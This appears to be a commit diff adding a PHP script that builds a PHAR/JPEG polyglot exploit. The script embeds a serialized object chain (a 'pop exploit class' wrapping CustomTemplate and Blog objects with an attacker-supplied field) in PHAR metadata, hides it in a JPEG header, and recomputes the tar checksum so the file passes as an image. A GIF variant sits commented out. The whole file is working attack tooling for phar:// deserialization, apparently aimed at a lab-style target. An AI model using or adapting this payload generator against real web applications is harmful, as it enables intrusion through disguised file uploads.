|
| 1 | +<?php |
| 2 | + |
| 3 | + |
| 4 | +function generate_base_phar($o, $prefix){ |
| 5 | + global $tempname; |
| 6 | + @unlink($tempname); |
| 7 | + $phar = new Phar($tempname); |
| 8 | + $phar->startBuffering(); |
| 9 | + $phar->addFromString("test.txt", "test"); |
| 10 | + $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>"); |
| 11 | + $phar->setMetadata($o); |
| 12 | + $phar->stopBuffering(); |
| 13 | + |
| 14 | + $basecontent = file_get_contents($tempname); |
| 15 | + @unlink($tempname); |
| 16 | + return $basecontent; |
| 17 | +} |
| 18 | + |
| 19 | +function generate_polyglot($phar, $jpeg){ |
| 20 | + $phar = substr($phar, 6); // remove <?php dosent work with prefix |
| 21 | + $len = strlen($phar) + 2; // fixed |
| 22 | + $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2); |
| 23 | + $contents = substr($new, 0, 148) . " " . substr($new, 156); |
| 24 | + |
| 25 | + // calc tar checksum |
| 26 | + $chksum = 0; |
| 27 | + for ($i=0; $i<512; $i++){ |
| 28 | + $chksum += ord(substr($contents, $i, 1)); |
| 29 | + } |
| 30 | + // embed checksum |
| 31 | + $oct = sprintf("%07o", $chksum); |
| 32 | + $contents = substr($contents, 0, 148) . $oct . substr($contents, 155); |
| 33 | + return $contents; |
| 34 | +} |
| 35 | + |
| 36 | +// ======= modify here ======= |
| 37 | + |
| 38 | +class CustomTemplate{ |
| 39 | +} |
| 40 | +class Blog{ |
| 41 | + public $user; |
| 42 | + public $desc; |
| 43 | + public function __construct($user, $desc) { |
| 44 | + $this->user = $user; |
| 45 | + $this->desc = $desc; |
| 46 | + } |
| 47 | +} |
| 48 | + |
| 49 | +// pop exploit class |
| 50 | +$object = new CustomTemplate(); |
| 51 | +$object->template_file_path = new Blog("", $argv[1]); |
| 52 | + |
| 53 | +// =========================== |
| 54 | + |
| 55 | +// config for jpg |
| 56 | +$tempname = 'temp.tar.phar'; // make it tar |
| 57 | +$jpeg = file_get_contents('in.jpg'); |
| 58 | +$outfile = 'out.jpg'; |
| 59 | +$payload = $object; |
| 60 | +$prefix = ''; |
| 61 | + |
| 62 | +var_dump(serialize($object)); |
| 63 | + |
| 64 | + |
| 65 | +// make jpg |
| 66 | +file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg)); |
| 67 | + |
| 68 | +/* |
| 69 | +// config for gif |
| 70 | +$prefix = "\x47\x49\x46\x38\x39\x61" . "\x2c\x01\x2c\x01"; // gif header, size 300 x 300 |
| 71 | +$tempname = 'temp.phar'; // make it phar |
| 72 | +$outfile = 'out.gif'; |
| 73 | +
|
| 74 | +// make gif |
| 75 | +file_put_contents($outfile, generate_base_phar($payload, $prefix)); |
| 76 | +
|
| 77 | +*/ |
| 78 | + |
0 commit comments